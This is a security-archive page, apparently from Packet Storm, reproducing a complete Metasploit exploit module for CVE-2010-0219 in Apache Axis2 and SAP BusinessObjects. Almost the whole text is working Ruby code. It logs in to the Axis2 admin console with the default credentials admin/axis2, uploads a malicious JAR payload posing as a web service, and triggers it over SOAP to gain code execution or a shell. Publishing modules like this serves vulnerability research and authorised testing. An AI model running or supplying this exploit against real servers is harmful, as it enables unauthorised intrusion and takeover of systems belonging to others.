Lucene search

K
packetstormJoshua D. AbrahamPACKETSTORM:95881
HistoryNov 16, 2010 - 12:00 a.m.

Axis2 / SAP BusinessObjects dswsbobje Upload Exec

2010-11-1600:00:00
Joshua D. Abraham
packetstormsecurity.com
145

0.975 High

EPSS

Percentile

100.0%

`##  
# $Id: axis2_deployer.rb 11046 2010-11-15 05:12:48Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit  
Rank = ExcellentRanking  
  
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Axis2 / SAP BusinessObjects dswsbobje Upload Exec',  
'Version' => '$Revision: 11046 $',  
'Description' => 'This module logins to a Axis2 Web Admin Module instance using a specific user/pass and uploads and executes commands via deploying a malicious web service by using SOAP.',  
'References' =>  
[  
# General  
[ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],  
[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],  
[ 'CVE', '2010-0219' ],  
],  
'Platform' => [ 'java', 'win', 'linux' ], # others?  
'Targets' =>  
[  
[ 'Java', {  
'Arch' => ARCH_JAVA,  
'Platform' => 'java'  
},  
],  
#  
# Platform specific targets only  
#  
[ 'Windows Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
},  
],  
  
[ 'Linux X86',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
},  
],  
],  
'Author' => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),  
OptString.new('PASSWORD', [ false, 'The password for the specified username','axis2' ]),  
OptString.new('PATH', [ true, "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])  
], self.class)  
register_autofilter_ports([ 8080 ])  
end  
  
def upload_exec(session)  
contents=''  
name = Rex::Text.rand_text_alpha(8)  
services_xml = %Q{  
<service name="#{name}" scope="application">  
<description>  
#{Rex::Text.rand_text_alphanumeric(50 + rand(50))}  
</description>  
<messageReceivers>  
<messageReceiver  
mep="http://www.w3.org/2004/08/wsdl/in-only"  
class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>  
<messageReceiver  
mep="http://www.w3.org/2004/08/wsdl/in-out"  
class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>  
</messageReceivers>  
<parameter name="ServiceClass">  
metasploit.PayloadServlet  
</parameter>  
</service>  
}  
if target.name =~ /Java/  
zip = payload.encoded_jar  
zip.add_file("META-INF/services.xml", services_xml)  
  
# We need this class as a wrapper to run in a thread. For some reason  
# the Payload class is giving illegal access exceptions without it.  
path = File.join(Msf::Config.install_root, "data", "java", "metasploit", "PayloadServlet.class")  
fd = File.open(path, "rb")  
servlet = fd.read(fd.stat.size)  
fd.close  
zip.add_file("metasploit/PayloadServlet.class", servlet)  
  
contents = zip.pack  
else  
  
end  
  
boundary = rand_text_alphanumeric(6)  
  
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "  
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"  
data << contents  
data << "\r\n--#{boundary}--"  
  
res = send_request_raw({  
'uri' => "/#{datastore['PATH']}/axis2-admin/upload",  
'method' => 'POST',  
'data' => data,  
'headers' =>  
{  
'Content-Type' => 'multipart/form-data; boundary=' + boundary,  
'Content-Length' => data.length,  
'Cookie' => "JSESSIONID=#{session}",  
}  
}, 25)  
  
if (res and res.code == 200)  
print_status("Successfully uploaded")  
else  
print_error("Error uploading #{res}")  
return  
end  
=begin  
res = send_request_raw({  
'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",  
'method' => 'GET',  
'headers' =>  
{  
'Cookie' => "JSESSIONID=#{session}",  
}  
}, 25)  
puts res.body  
puts res.code  
if res.code > 200 and res.code < 300  
if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )  
dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"  
puts dir  
else  
if ( a.scan(/catalina\.home<\/th><td style=".*">(.*)&nbsp;<\/td>/i) )  
dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"  
puts dir  
end  
end  
end  
=end  
  
  
soapenv='http://schemas.xmlsoap.org/soap/envelope/'  
xmlns='http://session.dsws.businessobjects.com/2007/06/01'  
xsi='http://www.w3.org/2001/XMLSchema-instance'  
  
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"  
data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"  
data << '<soapenv:Header/>' + "\r\n"  
data << '<soapenv:Body>' + "\r\n"  
data << '<soapenv:run/>' + "\r\n"  
data << '</soapenv:Body>' + "\r\n"  
data << '</soapenv:Envelope>' + "\r\n\r\n"  
  
print_status("Polling to see if the service is ready")  
1.upto 3 do  
Rex::ThreadSafe.sleep(3)  
  
res = send_request_raw({  
'uri' => "/#{datastore['PATH']}/services/#{name}",  
'method' => 'POST',  
'data' => data,  
'headers' =>  
{  
'Content-Length' => data.length,  
'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',  
'Content-Type' => 'text/xml; charset=UTF-8',  
}  
}, 15)  
if res.code > 200 and res.code < 300  
print_status("")  
print_status("NOTE: You will need to delete the web service that was uploaded.")  
print_status("Using meterpreter:")  
print_status("rm \"webapps/#{datastore['PATH']}/WEB-INF/services/#{name}.jar\"")  
print_status("Using the shell:")  
print_status("cd \"webapps/#{datastore['PATH']}/WEB-INF/services\"")  
print_status("del #{name}.jar")  
print_status("")  
break  
end  
  
end  
  
=begin  
useful for axis2 or REST  
# Try to execute the payload  
1.upto 5 do  
Rex::ThreadSafe.sleep(3)  
print_status("Polling to see if the service is ready")  
res = send_request_raw({  
'uri' => "/#{datastore['PATH']}/services/#{name}/run",  
'method' => 'GET',  
'headers' =>  
{  
'Cookie' => "JSESSIONID=#{session}",  
}  
}, 25)  
if res.code >= 200 and res.code < 300  
# This should usually mean we got a shell  
break  
end  
end  
=end  
  
end  
  
def exploit  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
path = datastore['PATH']  
success = false  
srvhdr = '?'  
begin  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => "/#{path}/axis2-admin/login",  
'ctype' => 'application/x-www-form-urlencoded',  
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",  
}, 25)  
  
if not (res.kind_of? Rex::Proto::Http::Response)  
raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin not responding")  
end  
  
if res.code == 404  
raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin returned code 404")  
end  
  
srvhdr = res.headers['Server']  
if res.code == 200  
# Could go with res.headers["Server"] =~ /Apache-Coyote/i  
# as well but that seems like an element someone's more  
# likely to change  
  
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)  
if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)  
session = $1  
end  
end  
  
rescue ::Rex::ConnectionError  
print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin Unable to attempt authentication")  
end  
  
if success  
print_good("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")  
upload_exec(session)  
else  
print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")  
end  
end  
  
end  
  
`